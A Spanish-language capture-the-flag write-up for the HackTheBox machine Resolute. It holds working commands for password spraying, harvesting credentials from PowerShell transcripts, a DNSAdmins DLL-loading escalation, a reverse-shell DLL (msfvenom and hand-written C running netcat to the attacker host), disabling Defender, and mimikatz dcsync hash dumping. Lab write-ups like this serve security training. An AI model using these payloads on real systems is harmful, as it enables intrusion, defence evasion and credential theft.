xchg2pwn

xchg2pwn

Entusiasta del reversing y desarrollo de exploits


Contenido


HackTheBox

Resolute



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos de AD abiertos entre ellos smb, kerberos y otros

❯ nmap 10.10.10.169
Nmap scan report for 10.10.10.169  
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49676/tcp open  unknown
49677/tcp open  unknown
49686/tcp open  unknown
49743/tcp open  unknown

Con crackmapexec podemos obtener información de la maquina asi como el dominio que es megabank.local ademas del nombre que parece es resolute

❯ crackmapexec smb 10.10.10.169
SMB         10.10.10.169     445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)

Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina que es el DC como otro dominio

❯ echo "10.10.10.169 megabank.local resolute.megabank.local" | sudo tee -a /etc/hosts

Al conectarnos con rpcclient como usuario nulo nos permite enumerar usuarios

❯ rpcclient -N -U '' megabank.local
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
rpcclient $>

Ejecutando enumdomusers y aplicando algunas expresiones regulares al output de rpcclient podemos generar un diccionario con todos los usuarios del dominio

❯ rpcclient -N -U '' megabank.local -c enumdomusers | grep -oP '\[\D*?\]' | tr -d '[]' | tee users.txt  
Administrator
Guest
krbtgt
DefaultAccount
ryan
marko
sunita
abigail
marcus
sally
fred
angela
felicia
gustavo
ulf
stevie
claire
paulo
steve
annette
annika
per
claude
melanie
zach
simon
naoki

Probando un ASREPRoast para cada uno de ellos vemos que ninguno es vulnerable

❯ impacket-GetNPUsers megabank.local/ -no-pass -usersfile users.txt
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)  
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)  
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)  
[-] User ryan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User marko doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sunita doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User abigail doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User marcus doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sally doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User fred doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User angela doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User felicia doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gustavo doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ulf doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User stevie doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User claire doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User paulo doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User steve doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User annette doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User annika doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User per doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User claude doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User melanie doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zach doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User simon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User naoki doesn't have UF_DONT_REQUIRE_PREAUTH set

Con queryuser podemos ver información de los usuarios, como la descripción

rpcclient $> queryuser Administrator
	User Name   :	Administrator
	Full Name   :	
	Home Drive  :	
	Dir Drive   :	
	Profile Path:	
	Logon Script:	
	Description :	Built-in account for administering the computer/domain  
	Workstations:	
	Comment     :	
	Remote Dial :
	Logon Time               :	jue, 29 jun 2023 20:13:56 EDT
	Logoff Time              :	mié, 31 dic 1969 19:00:00 EST
	Kickoff Time             :	mié, 31 dic 1969 19:00:00 EST
	Password last set Time   :	jue, 29 jun 2023 20:23:03 EDT
	Password can change Time :	vie, 30 jun 2023 20:23:03 EDT
	Password must change Time:	mié, 13 sep 30828 22:48:05 EDT
	unknown_2[0..31]...
	user_rid :	0x1f4
	group_rid:	0x201
	acb_info :	0x00000210
	fields_present:	0x00ffffff
	logon_divs:	168
	bad_password_count:	0x00000000
	logon_count:	0x00000059
	padding1[0..7]...
	logon_hrs[0..21]...
rpcclient $>


Shell - melanie


Iterando sobre cada uno de los usuarios podemos ver su descripción, en este caso en la de marko encontramos una contraseña en texto plano de una nueva cuenta

❯ for user in $(cat users.txt); do rpcclient -N -U "" megabank.local -c "queryuser $user"; done | grep -E "User Name|Description"  
	User Name   :	Administrator
	Description :	Built-in account for administering the computer/domain
	User Name   :	Guest
	Description :	Built-in account for guest access to the computer/domain
	User Name   :	krbtgt
	Description :	Key Distribution Center Service Account
	User Name   :	DefaultAccount
	Description :	A user account managed by the system.
	User Name   :	ryan
	Description :	
	User Name   :	marko
	Description :	Account created. Password set to Welcome123!
	User Name   :	sunita
	Description :	
	User Name   :	abigail
	Description :	
	User Name   :	marcus
	Description :	
..................................................................................

Podemos aplicar un passwordspray para probar la contraseña de la descripción para toda la lista de usuarios, el usuario melanie devuelve que esta es valida

❯ crackmapexec smb megabank.local -u users.txt -p Welcome123! --continue-on-success
SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)  
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\Administrator:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\Guest:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\krbtgt:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\abigail:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [+] megabank.local\melanie:Welcome123! 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\zach:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\simon:Welcome123! STATUS_LOGON_FAILURE 
SMB         megabank.local  445    RESOLUTE         [-] megabank.local\naoki:Welcome123! STATUS_LOGON_FAILURE

Aunque ahora tenemos una credencial valida no nos otorga ningun privilegio especial entre los recursos SMB, excepto un par de READ en recursos por defecto

❯ crackmapexec smb megabank.local -u melanie -p Welcome123! --shares
SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)  
SMB         megabank.local  445    RESOLUTE         [+] megabank.local\melanie:Welcome123! 
SMB         megabank.local  445    RESOLUTE         [+] Enumerated shares
SMB         megabank.local  445    RESOLUTE         Share           Permissions     Remark
SMB         megabank.local  445    RESOLUTE         -----           -----------     ------
SMB         megabank.local  445    RESOLUTE         ADMIN$                          Remote Admin
SMB         megabank.local  445    RESOLUTE         C$                              Default share
SMB         megabank.local  445    RESOLUTE         IPC$                            Remote IPC
SMB         megabank.local  445    RESOLUTE         NETLOGON        READ            Logon server share 
SMB         megabank.local  445    RESOLUTE         SYSVOL          READ            Logon server share

Al probarlas en el protocolo winrm nos devuelve Pwn3d! lo que quiere decir que estas credenciales son validas para el winrm por lo que podemos obtener una shell

❯ crackmapexec winrm megabank.local -u melanie -p Welcome123!
SMB         megabank.local  5985   RESOLUTE         [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:megabank.local)  
HTTP        megabank.local  5985   RESOLUTE         [*] http://megabank.local:5985/wsman
WINRM       megabank.local  5985   RESOLUTE         [+] megabank.local\melanie:Welcome123! (Pwn3d!)

Usando evil-winrm podemos conectarnos y obtener una powershell como melanie

❯ evil-winrm -i megabank.local -u melanie -p Welcome123!  
PS C:\Users\melanie\Documents> whoami
megabank\melanie
PS C:\Users\melanie\Documents> type ..\Desktop\user.txt
070**************************79f
PS C:\Users\melanie\Documents>


Shell - ryan


Al listar de primeras el directorio C:\ no encontramos nada interesante, sin embargo al usar -force podemos ver un directorio PSTranscripts que estaba oculto

PS C:\> dir

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)  
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows

PS C:\> dir -force

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        12/3/2019   6:40 AM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
d--hs-        9/25/2019  10:17 AM                Recovery
d--hs-        9/25/2019   6:25 AM                System Volume Information  
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows
-arhs-       11/20/2016   5:59 PM         389408 bootmgr
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT
-a-hs-        6/29/2023   5:12 PM      402653184 pagefile.sys

PS C:\>

en el encontramos otro directorio llamado 20191203 el cual tiene dentro un .txt

PS C:\> cd PSTranscripts
PS C:\PSTranscripts> dir -force

    Directory: C:\PSTranscripts

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--h--        12/3/2019   6:45 AM                20191203

PS C:\PSTranscripts> cd 20191203
PS C:\PSTranscripts\20191203> dir -force

    Directory: C:\PSTranscripts\20191203

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-arh--        12/3/2019   6:45 AM           3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt  

PS C:\PSTranscripts\20191203>

Este contiene la información de varios comandos, entre ellos llama la atención un comando net use donde se autentica como el usuario ryan contra un recurso smb

PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
........................................................................................................................  
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
........................................................................................................................  
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
PS C:\PSTranscripts\20191203>

Estas credenciales al probarlas con SMB nos devuelven un Pwn3d! sin embargo este usuario no tiene privilegios de escritura que es WRITE en ningun recurso SMB

❯ crackmapexec smb megabank.local -u ryan -p Serv3r4Admin4cc123!
SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)  
SMB         megabank.local  445    RESOLUTE         [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)

❯ crackmapexec smb megabank.local -u ryan -p Serv3r4Admin4cc123! --shares
SMB         megabank.local  445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)  
SMB         megabank.local  445    RESOLUTE         [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)
SMB         megabank.local  445    RESOLUTE         [+] Enumerated shares
SMB         megabank.local  445    RESOLUTE         Share           Permissions     Remark
SMB         megabank.local  445    RESOLUTE         -----           -----------     ------
SMB         megabank.local  445    RESOLUTE         ADMIN$                          Remote Admin
SMB         megabank.local  445    RESOLUTE         C$                              Default share
SMB         megabank.local  445    RESOLUTE         IPC$                            Remote IPC
SMB         megabank.local  445    RESOLUTE         NETLOGON        READ            Logon server share 
SMB         megabank.local  445    RESOLUTE         SYSVOL          READ            Logon server share

Al probar estas credenciales hacia winrm nuevamente nos devuelve que son validas

❯ crackmapexec winrm megabank.local -u ryan -p Serv3r4Admin4cc123!
SMB         megabank.local  5985   RESOLUTE         [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:megabank.local)  
HTTP        megabank.local  5985   RESOLUTE         [*] http://megabank.local:5985/wsman
WINRM       megabank.local  5985   RESOLUTE         [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)

Podemos conectarnos usando evil-winrm y conseguir una powershell como ryan

❯ evil-winrm -i megabank.local -u ryan -p Serv3r4Admin4cc123!  
PS C:\Users\ryan\Documents> whoami
megabank\ryan
PS C:\Users\ryan\Documents>


Shell - Administrator


Después de enumerar el dominio y subir la información recolectada a bloodhound podemos encontrar que el usuario ryan forma parte del grupo DNSAdmins

En lolbas encontramos una forma para mediante dnscmd cargar un dll al iniciar el servicio, iniciamos creando un dll malicioso y compartiendolo con un recurso smb

❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o shell.dll  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Iniciamos configurando con dnscmd para el arranque del servicio dns, para que este cargue el dll malicioso que creamos antes de nuestro recurso smb al iniciarse

PS C:\Users\ryan\Documents> dnscmd /config /serverlevelplugindll \\10.10.14.10\kali\shell.dll  

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

PS C:\Users\ryan\Documents>

Ahora simplemente nos queda dentener e iniciar el servicio dns usando sc.exe

PS C:\Users\ryan\Documents> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
PS C:\Users\ryan\Documents> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)  
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 3932
        FLAGS              :
PS C:\Users\ryan\Documents>

Al volver a iniciar el servicio este realiza una petición como la maquina RESOLUTE$ a nuestra maquina, y al cargar el dll malicioso nos envia una reverse shell

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.169,50763)
[*] AUTHENTICATE_MESSAGE (MEGABANK\RESOLUTE$,RESOLUTE)
[*] User RESOLUTE\RESOLUTE$ authenticated successfully
[*] RESOLUTE$::MEGABANK:aaaaaaaaaaaaaaaa:6a5f93f3e287203626c14e32c63b50a5:010100000000000080e22c24eeaad901ac96772e9f34a36a00000000010010005a006c004f0071006b006c0068006700030010005a006c004f0071006b006c0068006700020010004d0042007600490047006e007a005a00040010004d0042007600490047006e007a005a000700080080e22c24eeaad901060004000200000008003000300000000000000000000000004000006c14702b8a0a5bcb8a5cb0083ee71d6f249b57c4dd8542761efb111e279d89350a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100350035000000000000000000  
[*] Connecting Share(1:kali)
[*] Disconnecting Share(1:kali)
[*] Closing down connection (10.10.10.169,50763)
[*] Remaining connections []

La shell que recibimos es como el usuario nt authority\system que tiene maximos privilegios sobre el equipo por lo que ahora podemos leer la flag de Administrator

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.169 
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt  
004**************************5a8

C:\Windows\system32>


Extra - manual dll


Como extra podemos crear un dll manualmente para ejecutar los comandos, pero antes subiremos netcat.exe para facilitar el comando para enviarnos la shell

PS C:\Users\ryan\Documents> upload netcat.exe C:\ProgramData\netcat.exe  

Info: Uploading netcat.exe to C:\ProgramData\netcat.exe

Data: 60360 bytes of 60360 bytes copied

Info: Upload successful!

PS C:\Users\ryan\Documents>

Ahora mediante un programa en C podemos hacer que como proceso ejecute con WinExec el netcat.exe que subimos para asi enviarnos una shell a nuestro host

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int pwn() {
    WinExec("C:\\Windows\\System32\\cmd.exe /c C:\\ProgramData\\netcat.exe 10.10.14.10 443 -e powershell", 0);  
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            pwn();
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }

    return TRUE;
}

Usando x86_64-w64-mingw32-gcc podemos compilar el C como un archivo dll

❯ x86_64-w64-mingw32-gcc code.c -shared -o shell.dll

Despues de compartirlo en un recurso smb repetimos el proceso, configuramos el dll con dnscmd, ademas apagamos e iniciamos el servicio dns usando sc.exe

PS C:\Users\ryan\Documents> dnscmd /config /serverlevelplugindll \\10.10.14.10\kali\shell.dll  

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

PS C:\Users\ryan\Documents> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
PS C:\Users\ryan\Documents> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 3932
        FLAGS              :
PS C:\Users\ryan\Documents>

Al hacerlo ejecutara el comando que configuramos en nuestro dll, el cual usando netcat.exe nos envia una powershell como el usuario nt authority\system

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.169
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt  
004**************************5a8
PS C:\Windows\system32>


Extra - password


Solo como extra con mimikatz haremos un dcsync para dumpear los hashes del ntds, sin embargo nos salta el antivirus y nos bloquea la ejecucion de mimikatz

PS C:\ProgramData> .\mimikatz.exe 'lsadump::dcsync /domain:megabank.local /user:Administrator' exit  
Program 'mimikatz.exe' failed to run: Operation did not complete successfully 
because the file contains a virus or potentially unwanted softwareAt line:1 
char:1
+ .\mimikatz.exe 'lsadump::dcsync /domain:megabank.local /user:Administ ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ .\mimikatz.exe 'lsadump::dcsync /domain:megabank.local /user:Administ ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedEx 
   ception
    + FullyQualifiedErrorId : NativeCommandFailed
PS C:\ProgramData>

Somos nt authority\system asi que podemos simplemente deshabilitarlo

PS C:\ProgramData> Set-MpPreference -DisableRealtimeMonitoring $true

Volvemos a correr el mimikatz para hacer un dcsync y ahora se ejecuta correctamente, podemos ver el hash NT del usuario Administrator

PS C:\ProgramData> .\mimikatz.exe 'lsadump::dcsync /domain:megabank.local /user:Administrator' exit  

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # lsadump::dcsync /domain:megabank.local /user:Administrator
[DC] 'megabank.local' will be the domain
[DC] 'Resolute.megabank.local' will be the DC server
[DC] 'Administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   : 
Password last change : 6/29/2023 6:17:03 PM
Object Security ID   : S-1-5-21-1392959593-3013219662-3596683436-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: fb3b106896cdaa8a08072775fbd9afe9
    ntlm- 0: fb3b106896cdaa8a08072775fbd9afe9
    ntlm- 1: fb3b106896cdaa8a08072775fbd9afe9
    ntlm- 2: fb3b106896cdaa8a08072775fbd9afe9
    ntlm- 3: fb3b106896cdaa8a08072775fbd9afe9
    ntlm- 4: fb3b106896cdaa8a08072775fbd9afe9
    ntlm- 5: fb3b106896cdaa8a08072775fbd9afe9
    ntlm- 6: fb3b106896cdaa8a08072775fbd9afe9
    ntlm- 7: fb3b106896cdaa8a08072775fbd9afe9
    ntlm- 8: fb3b106896cdaa8a08072775fbd9afe9
    ntlm- 9: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-10: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-11: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-12: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-13: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-14: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-15: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-16: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-17: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-18: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-19: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-20: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-21: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-22: fb3b106896cdaa8a08072775fbd9afe9
    ntlm-23: fb3b106896cdaa8a08072775fbd9afe9
    lm  - 0: 0fbfb230f47a3b1f17bc46dd73f3ae9c
    lm  - 1: ea49542e625ce3674c6212f1be3655b2
    lm  - 2: e7fde15392d04a878944db9da8c0a4ff
    lm  - 3: 70876b5f10d83b7270e2e58393a650b1
    lm  - 4: bae720633d0647de22504d66fce46fb4
    lm  - 5: 0cf70d8a42eb4cb00bbd621329eecba7
    lm  - 6: 6f9d06c56eff037314e52b1db35a1a6d
    lm  - 7: 28dbbf62829b447bd10c263d8ac15074
    lm  - 8: 9b81f5243024b4b2e4093ed14b52f225
    lm  - 9: 50b12b22fdcf00584ce720289f149292
    lm  -10: 3c17fcdedad7fa5fb8e82db4842f38c3
    lm  -11: 1d3597a55c6878986054deff049c927c
    lm  -12: f72ae0c87562873ceb76b4ff38e7d580
    lm  -13: 64a9e09b3fa532daf7421ab0d38ba91d
    lm  -14: 2554a14308f67b7c79f7463fef16824d
    lm  -15: c7ea232d5d15311d433af497a7994f8f
    lm  -16: dbb579ba7eecab24faf7facd3d5cac3c
    lm  -17: b2fbb919909c32199b65851159903039
    lm  -18: 0831560ac0d539f4a5b43f3106d95560
    lm  -19: d28492ba957ef7ae9f84d5d0573f4195
    lm  -20: 26253279126dd69c5db73420b7133415
    lm  -21: 618784c053b8d8c1f3904e0463218e7d
    lm  -22: 589f302a19a13fa1a33468dc523510bd
    lm  -23: c788612f0f0971e8d9550d88900a14b1

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
